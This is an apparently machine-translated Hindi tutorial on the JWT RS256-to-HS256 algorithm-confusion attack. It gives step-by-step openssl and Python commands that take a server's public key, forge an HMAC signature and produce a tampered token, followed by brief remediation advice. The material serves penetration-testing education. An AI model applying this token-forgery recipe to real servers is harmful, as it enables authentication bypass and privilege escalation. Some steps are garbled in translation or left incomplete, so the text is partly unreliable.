केवल शैक्षिक उद्देश्यों के लिए!
हैकर्स पेनेट्रेशन परीक्षकों के लिए इरादा।
मुद्दा
एल्गोरिथ्म HS256 प्रत्येक संदेश पर हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है। एल्गोरिथ्म RS256 संदेश पर हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
यदि आप RS256 से HS256 के एल्गोरिथ्म को बदलते हैं, तो बैकएंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर हस्ताक्षर को सत्यापित करने के लिए HS256 एल्गोरिथ्म का उपयोग करता है। असममित सिफर एल्गोरिथम => सममितीय सिफर एल्गोरिथम।
क्योंकि सार्वजनिक कुंजी कभी-कभी हमलावर द्वारा प्राप्त की जा सकती है, हमलावर हेडर को HS256 में संशोधित कर सकता है और फिर डेटा को साइन करने के लिए RSA सार्वजनिक कुंजी का उपयोग कर सकता है।
बैकएंड कोड हस्ताक्षर सत्यापन के लिए RSA सार्वजनिक कुंजी + HS256 एल्गोरिथ्म का उपयोग करता है।
उदाहरण
जब ग्राहक पक्ष सत्यापन इस तरह दिखता है तो भेद्यता प्रकट होती है:
const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms )
मान लें कि हमारे पास प्रारंभिक टोकन है जैसे नीचे प्रस्तुत किया गया है और "=>" संशोधन को समझाएगा जो हमलावर बना सकता है:
//header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' }
बैकएंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर हस्ताक्षर को सत्यापित करने के लिए HS256 एल्गोरिथ्म का उपयोग करता है।
आक्रमण
1. ट्रैफ़िक और वैध JWT टोकन (NCC समूह उदाहरण) पर कब्जा करें
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
2. बर्प डिकोडर के साथ टोकन को डिकोड करें
संरचना शीर्षलेख है। URL- सुरक्षित योजना और किसी भी गद्दी को हटाकर प्रत्येक घटक base64- एन्कोडेड के साथ। loadload.signature।
{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
3. हेडर
alg को HS256 में बदलें
{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
4. JWT प्रारूप में वापस कनवर्ट करें
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
हैडर और पेलोड जाने के लिए तैयार :)
5. सर्वर प्रमाणपत्र की प्रतिलिपि बनाएँ और सार्वजनिक कुंजी निकालें
वह सब गायब है जो हस्ताक्षर है, और यह गणना करने के लिए कि हमें सार्वजनिक कुंजी की आवश्यकता है जो सर्वर उपयोग कर रहा है। यह हो सकता है कि यह स्वतंत्र रूप से उपलब्ध हो।
openssl s_client -connect <hostname>:443
एक फ़ाइल के लिए "सर्वर प्रमाणपत्र" आउटपुट की प्रतिलिपि बनाएँ (जैसे cert.pem) और सार्वजनिक कुंजी (कुंजी नामक फ़ाइल को key.pem) को चलाकर निकालें:
openssl x509 -in cert.pem -pubkey –noout > key.pem
आइए इसे ASCII हेक्स में बदलते हैं:
cat key.pem | xxd -p | tr -d "\\n"
हमारे हस्ताक्षर अभियान में ASCII हेक्स के रूप में सार्वजनिक कुंजी की आपूर्ति करके, हम बाइट्स देख सकते हैं और पूरी तरह से नियंत्रित कर सकते हैं
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:
आउटपुट - वह है, HMAC हस्ताक्षर - है:
db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
JWT प्रारूप में इस ASCII हेक्स हस्ताक्षर को चालू करने के लिए एक-लाइनर है:
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"
आउटपुट हमारा हस्ताक्षर है:
2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
बस इसे हमारे संशोधित टोकन में जोड़ें:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
6. सर्वर को बदल टोकन जमा करें।
संकल्प
1. केवल एक एन्क्रिप्शन एल्गोरिथ्म का उपयोग करें (यदि संभव हो तो)

2. अलग-अलग एल्गोरिदम की जांच के लिए अलग-अलग कार्य बनाएं

संदर्भ
1.
medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e62.
www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.
auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries4.
www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through